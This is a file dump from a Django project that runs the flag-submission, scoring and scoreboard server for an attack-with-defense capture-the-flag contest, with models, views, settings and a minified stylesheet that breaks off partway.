    "content": "#coding:utf-8\nimport hashlib\n\nsecret_key = '718c6eb587c81cb0cf6b897148bffbbe'\nflag_score = 100 # 一个flag的分数\nYear, month, day, Hour, Minute, Second = 2020, 1, 5, 22, 11, 9  # 在此设置比赛结束的时间 年月日时分秒\nround_time = 5  # 一轮五分钟\nuser_count = 1 # 用户数量\nround_index = 1 # 第一轮\nrun = 1\nfraction = 10000 #初始分数\nstatus = []\nscore = []\nfor i in range(1, user_count + 1):\n    user_name = 'user' + str(i).zfill(2)\n    token = hashlib.md5((user_name +'moxiaoxi7777').encode('utf-8')).hexdigest()\n    status.append([user_name, run,round_index])\n    score.append([user_name, fraction, token])"
  },
  {
    "path": "flag_server/webapps/app/management/commands/__init__.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2018/4/18 下午4:37\n# @Author  : tudoudou\n# @File    : __init__.py.py\n# @Software: PyCharm\n\n"
  },
  {
    "path": "flag_server/webapps/app/management/commands/init.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2018/4/18 下午4:38\n# @Author  : tudoudou\n# @File    : init.py\n# @Software: PyCharm\n\nimport os\nfrom app.config import *\nfrom app.models import Score,Status,Flag,Logs,Round\nfrom django.core.management.base import BaseCommand, CommandError\n\n\nclass Command(BaseCommand):\n\n    def add_arguments(self, parser):\n\n        parser.add_argument(\n            '-n',\n            '--name',\n            action='store',\n            dest='name',\n            default='ddd',\n            help='name of author.',\n        )\n\n    def handle(self, *args, **options):\n        try:\n            os.system('python3 manage.py makemigrations')\n            os.system('python3 manage.py migrate')\n            # 清空数据库\n            Score.objects.all().delete()\n            Status.objects.all().delete()\n            Flag.objects.all().delete()\n            Logs.objects.all().delete()\n            Round.objects.all().delete()\n            Round(round_index=round_index).save()\n            for i in status:\n                Status(\n                    user_name=i[0],\n                    run=i[1],\n                    round_index=i[2]\n                ).save()\n            for i in score:\n                Score(\n                    user_name=i[0],\n                    fraction=i[1],\n                    token=i[2]\n                ).save()\n            # for i in logs:\n            #     Logs(\n            #         user_name=i[0],\n            #         hacked_name=i[1],\n            #         flag_num=i[2],\n            #         info=i[3],\n            #         round_index=i[4],\n            #         result=i[5]\n            #     ).save()\n            # for i in flags:\n            #     Flag(\n            #         user_name=i[0],\n            #         flag_num=i[1],\n            #         round_index=i[2]\n            #     ).save()\n            self.stdout.write(self.style.SUCCESS('初始化成功，请尽情使用吧 (～o￣▽￣)～o ~。。。'))\n        except Exception:\n            self.stdout.write(self.style.ERROR('命令执行出错'))\n"
  },
  {
    "path": "flag_server/webapps/app/migrations/0001_initial.py",
    "content": "# Generated by Django 2.1.3 on 2018-11-08 13:02\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    initial = True\n\n    dependencies = [\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Flag',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('user_name', models.CharField(max_length=10)),\n                ('flag_num', models.CharField(max_length=50)),\n                ('create_time', models.DateTimeField(auto_now_add=True)),\n                ('round_index', models.IntegerField()),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Logs',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('user_name', models.CharField(max_length=10)),\n                ('hacked_name', models.CharField(max_length=10)),\n                ('flag_num', models.CharField(max_length=50)),\n                ('last', models.DateTimeField(auto_now_add=True)),\n                ('info', models.CharField(max_length=50)),\n                ('round_index', models.IntegerField()),\n                ('result', models.IntegerField()),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Round',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('round_index', models.IntegerField()),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Score',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('user_name', models.CharField(max_length=10)),\n                ('fraction', models.IntegerField()),\n                ('last', models.DateTimeField(auto_now=True)),\n                ('token', models.CharField(max_length=50)),\n            ],\n        ),\n        migrations.CreateModel(\n            name='Status',\n            fields=[\n                ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n                ('user_name', models.CharField(max_length=10)),\n                ('run', models.IntegerField()),\n                ('round_index', models.IntegerField()),\n                ('create_time', models.DateTimeField(auto_now_add=True)),\n            ],\n        ),\n    ]\n"
  },
  {
    "path": "flag_server/webapps/app/migrations/__init__.py",
    "content": ""
  },
  {
    "path": "flag_server/webapps/app/models.py",
    "content": "from django.db import models\n\n\n# Create your models here.\n\nclass Flag(models.Model):\n    \"\"\"\n    靶机编号，靶机flag，flag入库时间\n    \"\"\"\n    user_name = models.CharField(max_length=10)\n    flag_num = models.CharField(max_length=50)\n    create_time = models.DateTimeField(auto_now_add=True)\n    round_index = models.IntegerField()\n\nclass Round(models.Model):\n    round_index = models.IntegerField()\n\nclass Score(models.Model):\n    \"\"\"\n    选手编号，选手分数，选手最后一次提交时间，选手的token值\n    \"\"\"\n    user_name = models.CharField(max_length=10)\n    fraction = models.IntegerField()\n    last = models.DateTimeField(auto_now=True)\n    token = models.CharField(max_length=50)\n\n\n\nclass Logs(models.Model):\n    \"\"\"\n    选手编号，被攻击者,提交的flag，flag提交时间，信息, 轮次,分数变化\n    \"\"\"\n    user_name = models.CharField(max_length=10)\n    hacked_name = models.CharField(max_length=10)\n    flag_num = models.CharField(max_length=50)\n    last = models.DateTimeField(auto_now_add=True)\n    info = models.CharField(max_length=50)\n    round_index = models.IntegerField()\n    result = models.IntegerField()\n\nclass Status(models.Model):\n    \"\"\"\n    靶机编号，选手编号，服务器是否正常运行\n    \"\"\"\n    user_name = models.CharField(max_length=10)\n    run = models.IntegerField()\n    round_index = models.IntegerField()\n    create_time = models.DateTimeField(auto_now_add=True)\n"
  },
  {
    "path": "flag_server/webapps/app/views.py",
    "content": "# coding=utf-8\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import redirect\nfrom django.contrib.auth import login, authenticate, logout\nfrom django.http import HttpResponse, HttpResponseNotFound\nfrom django.db.models import F\nfrom .models import Score, Flag, Logs, Status, Round\n\nfrom .config import *\nimport datetime\nfrom django.db.models import Q\nimport hashlib\nimport time\n\n\ndef dict2list(dic):\n    ''' 将字典转化为列表 '''\n    keys = dic.keys()\n    vals = dic.values()\n    lst = [(key, val) for key, val in zip(keys, vals)]\n    return lst\n\n\ndef account_login(request):\n    message = ['success', '欢迎来到登陆页面']\n    if request.method == 'POST':\n        username = request.POST.get('username')\n        password = request.POST.get('password')\n        user = authenticate(username=username, password=password)\n        if user:\n            login(request, user)\n            return redirect('/admin/')\n        else:\n            message = ['warning', '登陆失败']\n    return render(request, 'login.html',\n                  {'message': message, 'Year': Year, 'month': month, 'day': day, 'Hour': Hour, 'Minute': Minute,\n                   'Second': Second, 'mess': None, 'backimg': 6, 'height': 100})\n\n\ndef accounts_logout(request):\n    logout(request)\n    return redirect('/accounts/login')\n\n\n# Create your views here.\ndef index(request):\n    utcnow = datetime.datetime.now()\n    log = -3\n    message = ['success', '欢迎来到提交平台']\n    ti = datetime.datetime(Year, month, day, Hour, Minute, Second)\n    if utcnow > ti:\n        message = \"warning\", \"比赛已结束！\"\n    elif request.POST:\n        # 判断是否正确用户\n        score_change = 0\n        token = request.POST['token']\n        flag = request.POST['flag']\n        score_result = Score.objects.filter(token=request.POST['token'])\n        flag_result = Flag.objects.filter(flag_num=request.POST['flag'])\n        round_index = Round.objects.all()[0].round_index\n        # 判断token是否正确\n        if score_result:\n            # 判断flag是否正确\n            if flag_result:\n                # 判断是否提交自己的flag\n                if flag_result[0].user_name == score_result[0].user_name:\n                    message = \"warning\", \"不允许提交自己的flag\"\n                elif round_index == flag_result[0].round_index:  # 是否超时\n                    # 是否在该轮提交过\n                    if Logs.objects.filter(user_name=score_result[0].user_name, flag_num=flag,\n                                           round_index=flag_result[0].round_index):\n                        message = \"warning\", \"flag已提交\"\n                    else:\n                        message = \"success\", \"flag提交成功！\"\n                        score_change = flag_score\n                        attack_score = Score.objects.get(token=token)\n                        attack_score.fraction = F('fraction') + score_change\n                        attack_score.save()\n                        attacked_score = Score.objects.get(user_name=flag_result[0].user_name)\n                        attacked_score.fraction = F('fraction') - score_change\n                        attacked_score.save()\n                else:\n                    # 超时\n                    message = \"warning\", \"flag已过期\"\n                # 攻击者\n                Logs(\n                    user_name=score_result[0].user_name,\n                    hacked_name=flag_result[0].user_name,\n                    flag_num=flag,\n                    info=message[1],\n                    round_index=flag_result[0].round_index,\n                    result=score_change\n                ).save()\n            else:\n                message = \"warning\", \"flag错误\"\n        else:\n            message = \"warning\", \"token错误\"\n    return render(request, 'index.html',\n                  {'message': message, 'Year': Year, 'month': month, 'day': day, 'Hour': Hour, 'Minute': Minute,\n                   'Second': Second, 'mess': None, 'backimg': 6, 'height': 100})\n\n\ndef score(request):\n    message = ['success', '来查看总榜了呢']\n    return render(request, 'table.html',\n                  {'message': message, 'Year': Year, 'month': month, 'day': day, 'Hour': Hour, 'Minute': Minute,\n                   'Second': Second, 'backimg': 6, 'height': 150})\n\n\n# 看分数\ndef user_api1(request):\n    htmls = ''\n    html = {}\n    round_index = Round.objects.all()[0].round_index\n    for i in Status.objects.filter(round_index=round_index):\n        s = Score.objects.filter(user_name=i.user_name)[0]\n        if i.run == 0:\n            r = '<font face=\"arial\" >服务宕机</font>'\n        else:\n            r = '<font face=\"arial\" >运行正常</font>'\n        html[i.user_name] = [int(s.fraction), r]\n    htm = sorted(dict2list(html), key=lambda x: x[1], reverse=True)  # 按照第1个元素降序排列\n    j = 1\n    for i in htm:\n        t = str(j)\n        htmls += \"\"\"<tr><td>第{}名</td><td>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\n            t, i[0], '&ensp;' + str(i[1][0]), i[1][1])\n        j += 1\n\n    return HttpResponse(htmls)\n\n\n# admin 看分数\n@login_required\ndef admin_api1(request):\n    htmls = ''\n    html = {}\n    round_index = Round.objects.all()[0].round_index\n    for i in Status.objects.filter(round_index=round_index):\n        s = Score.objects.filter(user_name=i.user_name)[0]\n        if i.run == 0:\n            r = '<font face=\"arial\" >服务宕机</font>'\n        else:\n            r = '<font face=\"arial\" >运行正常</font>'\n        r += '<td>{}</td>'.format(s.token)\n        html[i.user_name] = [int(s.fraction), r]\n    htm = sorted(dict2list(html), key=lambda x: x[1], reverse=True)  # 按照第1个元素降序排列\n    j = 1\n    for i in htm:\n        if j == 1:\n            t = str(j)\n            htmls += \"\"\"<tr><td>第{}名</td><td>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\n                t, i[0], '&ensp;' + str(i[1][0]), i[1][1])\n            j += 1\n            continue\n        if j == 2:\n            t = str(j)\n            htmls += \"\"\"<tr><td>第{}名</td><td>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\n                t, i[0], '&ensp;' + str(i[1][0]), i[1][1])\n            j += 1\n            continue\n        if j == 3:\n            t = str(j)\n            htmls += \"\"\"<tr><td>第{}名</td><td>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\n                t, i[0], '&ensp;' + str(i[1][0]), i[1][1])\n            j += 1\n            continue\n        else:\n            t = str(j)\n            htmls += \"<tr><td>第{}名</td><td>{}</td><td>{}</td><td>{}</td></tr>\".format(t, i[0],\n                                                                                      '&ensp;' + str(i[1][0]),\n                                                                                      i[1][1])\n            j += 1\n    return HttpResponse(htmls)\n\n\n# 状态日志\ndef user_api2(request):\n    html = ''\n    round_index = Round.objects.all()[0].round_index\n    for i in Logs.objects.filter(Q(result=100) | Q(result=-100, round_index=round_index))[\n             ::-1][0:20]:\n        html += \"\"\"<tr><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\n            round_index,\n            i.user_name,\n            i.hacked_name,\n            str(i.last)[5:19],\n            i.result,\n            i.info,\n\n        )\n    return HttpResponse(html)\n\n\n@login_required\ndef admin_api2(request):\n    html = ''\n    for i in Logs.objects.all()[::-1][0:100]:\n        html += \"\"\"<tr><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\n            i.round_index,\n            i.user_name,\n            i.hacked_name,\n            str(i.last)[5:19],\n            i.flag_num,\n            i.info,\n            i.result\n        )\n    return HttpResponse(html)\n\n\n# flag状态\n@login_required\ndef admin_api3(request):\n    html = ''\n    utcnow = datetime.datetime.now().replace(tzinfo=None)\n    for i in Flag.objects.all()[::-1][0:50]:\n        round_index = Round.objects.all()[0].round_index\n        if round_index == i.round_index:\n            te = '有效'\n        else:\n            te = '已失效'\n        html += \"\"\"<tr><td>{}</td><td>{}</td><td>{}</td><td>{}</td></tr>\"\"\".format(\n            i.round_index,\n            i.user_name,\n            i.flag_num,\n            te\n        )\n    return HttpResponse(html)\n\n\ndef update(request):\n    \"\"\"\n    更新flag和服务器状态\n    :param request:\n    :return:\n    \"\"\"\n    key = request.POST['secret_key']\n    user_name = request.POST['user_name']\n    action = request.POST['action']\n    data = request.POST['data']\n    round_index = int(request.POST['round_index'])\n    if key == secret_key:\n        if action == 'flag':\n            Flag(\n                user_name=user_name,\n                flag_num=data,\n                round_index=round_index,\n            ).save()\n            Round.objects.all().update(round_index=round_index)  # 开始新的一轮\n            Status.objects.all().update(round_index=round_index)\n            return HttpResponse(\"flag updated succ\")\n        if action == 'status':\n            if int(data):\n                enc = 1\n            else:\n                enc = -1\n            Status.objects.filter(user_name=user_name, round_index=round_index).update(run=data)\n            if enc > 0:\n                # Score.objects.filter(user_name=user_name).update(fraction=fraction + flag_score* enc)\n                Logs(\n                    user_name=user_name,\n                    hacked_name=user_name,\n                    flag_num='null',\n                    info=\"运行正常！\",\n                    round_index=round_index,\n                    result=0\n                ).save()\n            else:\n                downserver_score = Score.objects.get(user_name=user_name)\n                downserver_score.fraction = F('fraction') + flag_score * enc\n                downserver_score.save()\n                Logs(\n                    user_name=user_name,\n                    hacked_name=user_name,\n                    flag_num='null',\n                    info=\"服务器宕机！\",\n                    round_index=round_index,\n                    result=flag_score * enc\n                ).save()\n            return HttpResponse(\"status updated succ\")\n    return HttpResponseNotFound\n\n\n@login_required\ndef admin(request):\n    message = ['success', '欢迎管理大大的到来']\n    if request.POST:\n        if int(request.POST['run']) == 1:\n            info = \"服务器正常 by admin\"\n            enc = 1\n        else:\n            info = \"服务器宕机 by admin\"\n            enc = -1\n        user_name = request.POST['user_name']\n        round_index = Round.objects.all()[0].round_index\n        server_score = Score.objects.get(user_name=user_name)\n        server_score.fraction = F('fraction') + flag_score * enc\n        server_score.save()\n        Status.objects.filter(user_name=user_name, round_index=round_index).update(run=request.POST['run'])\n        Logs(\n            user_name=user_name,\n            hacked_name=user_name,\n            flag_num='null',\n            info=info,\n            round_index=round_index,\n            result=flag_score * enc\n        ).save()\n        message = ['success', '修改成功了呢']\n    status_ = Status.objects.all()\n    return render(request, 'admin.html', {'status': status_, 'message': message, 'backimg': 6, 'height': 100})\n\n\n@login_required\ndef admin_table(request):\n    message = ['success', '来查看总榜了呢']\n    return render(request, 'admin_table.html', {'message': message, 'backimg': 6, 'height': 150})\n"
  },
  {
    "path": "flag_server/webapps/awd_platform/settings.py",
    "content": "\"\"\"\nDjango settings for awd_platform project.\n\nGenerated by 'django-admin startproject' using Django 2.0.4.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/2.0/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/2.0/ref/settings/\n\"\"\"\n\nimport os\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 't+#spx&#83w-o%dd4s@f-k#h546$7)2sy#@io^ogs21ptwh&=q'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = ['*']\n\n\n# Application definition\n\nINSTALLED_APPS = [\n    'django.contrib.admin',\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    'app.apps.AppConfig',\n]\n\nMIDDLEWARE = [\n    'django.middleware.security.SecurityMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\nROOT_URLCONF = 'awd_platform.urls'\n\nTEMPLATES = [\n    {\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [os.path.join(BASE_DIR, 'templates')],\n        'APP_DIRS': True,\n        'OPTIONS': {\n            'context_processors': [\n                'django.template.context_processors.debug',\n                'django.template.context_processors.request',\n                'django.contrib.auth.context_processors.auth',\n                'django.contrib.messages.context_processors.messages',\n            ],\n        },\n    },\n]\n\nWSGI_APPLICATION = 'awd_platform.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/2.0/ref/settings/#databases\n\nDATABASES = {\n    'default': {\n        'ENGINE': 'django.db.backends.sqlite3',\n        'NAME': os.path.join(BASE_DIR, 'awd.db'),\n    }\n}\n\n\n# Password validation\n# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators\n\nAUTH_PASSWORD_VALIDATORS = [\n    {\n        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n    },\n    {\n        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n    },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/2.0/topics/i18n/\n\nLANGUAGE_CODE = 'zh-Hans'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/2.0/howto/static-files/\n\n\nSTATIC_URL = '/static/'\n\nSTATICFILES_DIRS = [\n    os.path.join(BASE_DIR, \"static\"),]\n"
  },
  {
    "path": "flag_server/webapps/awd_platform/urls.py",
    "content": "\"\"\"awd_platform URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/2.0/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom app import views\nfrom .settings import *\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n                  # path('admin/', admin.site.urls),\n                  path('', views.index, name='index'),\n                  path('score/', views.score, name='score'),\n                  path('accounts/login/', views.account_login, name='admin_login'),\n                  path('admin/', views.admin, name='admin'),\n                  path('admin/table/', views.admin_table, name='admin_table'),\n                  path('user_api1/', views.user_api1, name='user_api1'),\n                  path('user_api2/', views.user_api2, name='user_api2'),\n                  path('admin_api1/', views.admin_api1, name='admin_api1'),\n                  path('admin_api2/', views.admin_api2, name='admin_api2'),\n                  path('admin_api3/', views.admin_api3, name='admin_api3'),\n                  path('adm1n_ap1', views.update, name='update'),\n              ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n"
  },
  {
    "path": "flag_server/webapps/awd_platform/wsgi.py",
    "content": "\"\"\"\nWSGI config for awd_platform project.\n\nIt exposes the WSGI callable as a module-level variable named ``application``.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/\n\"\"\"\n\n# import os\n\n# from django.core.wsgi import get_wsgi_application\n\n# os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"awd_platform.settings\")\n\n# application = get_wsgi_application()\nimport os\nfrom os.path import join, dirname, abspath\n\nPROJECT_DIR = dirname(dirname(abspath(__file__)))\n\nimport sys\n\nsys.path.insert(0, PROJECT_DIR)\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"awd_platform.settings\")\n\nfrom django.core.wsgi import get_wsgi_application\n\napplication = get_wsgi_application()\n"
  },
  {
    "path": "flag_server/webapps/manage.py",
    "content": "#!/usr/bin/env python\nimport os\nimport sys\n\nif __name__ == \"__main__\":\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"awd_platform.settings\")\n    try:\n        from django.core.management import execute_from_command_line\n    except ImportError as exc:\n        raise ImportError(\n            \"Couldn't import Django. Are you sure it's installed and \"\n            \"available on your PYTHONPATH environment variable? Did you \"\n            \"forget to activate a virtual environment?\"\n        )\n        from exc import *\n    execute_from_command_line(sys.argv)\n"
  },
  {
    "path": "flag_server/webapps/requirements.txt",
    "content": "Django==2.1.3\npytz==2018.7"
  },
  {
    "path": "flag_server/webapps/run.sh",
    "content": "#!/bin/sh\npython3 manage.py init\npython3 manage.py runserver 0.0.0.0:8000 --insecure\n"
  },
  {
    "path": "flag_server/webapps/static/css/animate.css",
    "content": "@charset \"UTF-8\";/*!\n * animate.css -http://daneden.me/animate\n * Version - 3.5.1\n * Licensed under the MIT license - http://opensource.org/licenses/MIT\n *\n * Copyright (c) 2016 Daniel Eden\n */.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.hinge{-webkit-animation-duration:2s;animation-duration:2s}.animated.flipOutX,.animated.flipOutY,.animated.bounceIn,.animated.bounceOut{-webkit-animation-duration:.75s;animation-duration:.75s}@-webkit-keyframes bounce{from,20%,53%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}@keyframes bounce{from,20%,53%,80%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1.000);animation-timing-function:cubic-bezier(.215,.61,.355,1.000);-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}40%,43%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-30px,0);transform:translate3d(0,-30px,0)}70%{-webkit-animation-timing-function:cubic-bezier(.755,.05,.855,.06);animation-timing-function:cubic-bezier(.755,.05,.855,.06);-webkit-transform:translate3d(0,-15px,0);transform:translate3d(0,-15px,0)}90%{-webkit-transform:translate3d(0,-4px,0);transform:translate3d(0,-4px,0)}}.bounce{-webkit-animation-name:bounce;animation-name:bounce;-webkit-transform-origin:center bottom;transform-origin:center bottom}@-webkit-keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}@keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}.flash{-webkit-animation-name:flash;animation-name:flash}@-webkit-keyframes pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes pulse{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}50%{-webkit-transform:scale3d(1.05,1.05,1.05);transform:scale3d(1.05,1.05,1.05)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.pulse{-webkit-animation-name:pulse;animation-name:pulse}@-webkit-keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes rubberBand{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.rubberBand{-webkit-animation-name:rubberBand;animation-name:rubberBand}@-webkit-keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}@keyframes shake{from,to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}10%,30%,50%,70%,90%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}20%,40%,60%,80%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}}.shake{-webkit-animation-name:shake;animation-name:shake}@-webkit-keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes headShake{0%{-webkit-transform:translateX(0);transform:translateX(0)}6.5%{-webkit-transform:translateX(-6px) rotateY(-9deg);transform:translateX(-6px) rotateY(-9deg)}18.5%{-webkit-transform:translateX(5px) rotateY(7deg);transform:translateX(5px) rotateY(7deg)}31.5%{-webkit-transform:translateX(-3px) rotateY(-5deg);transform:translateX(-3px) rotateY(-5deg)}43.5%{-webkit-transform:translateX(2px) rotateY(3deg);transform:translateX(2px) rotateY(3deg)}50%{-webkit-transform:translateX(0);transform:translateX(0)}}.headShake{-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;-webkit-animation-name:headShake;animation-name:headShake}@-webkit-keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}@keyframes swing{20%{-webkit-transform:rotate3d(0,0,1,15deg);transform:rotate3d(0,0,1,15deg)}40%{-webkit-transform:rotate3d(0,0,1,-10deg);transform:rotate3d(0,0,1,-10deg)}60%{-webkit-transform:rotate3d(0,0,1,5deg);transform:rotate3d(0,0,1,5deg)}80%{-webkit-transform:rotate3d(0,0,1,-5deg);transform:rotate3d(0,0,1,-5deg)}to{-webkit-transform:rotate3d(0,0,1,0deg);transform:rotate3d(0,0,1,0deg)}}.swing{-webkit-transform-origin:top center;transform-origin:top center;-webkit-animation-name:swing;animation-name:swing}@-webkit-keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg)}30%,50%,70%,90%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,3deg)}40%,60%,80%{-webkit-transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg);transform:scale3d(1.1,1.1,1.1) rotate3d(0,0,1,-3deg)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes tada{from{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}10%,20%{-webkit-transform:scale3d(.9,.9,.9) rotate3d(0,0,1,-3deg);transform:scale3d(.9,.9,.9) 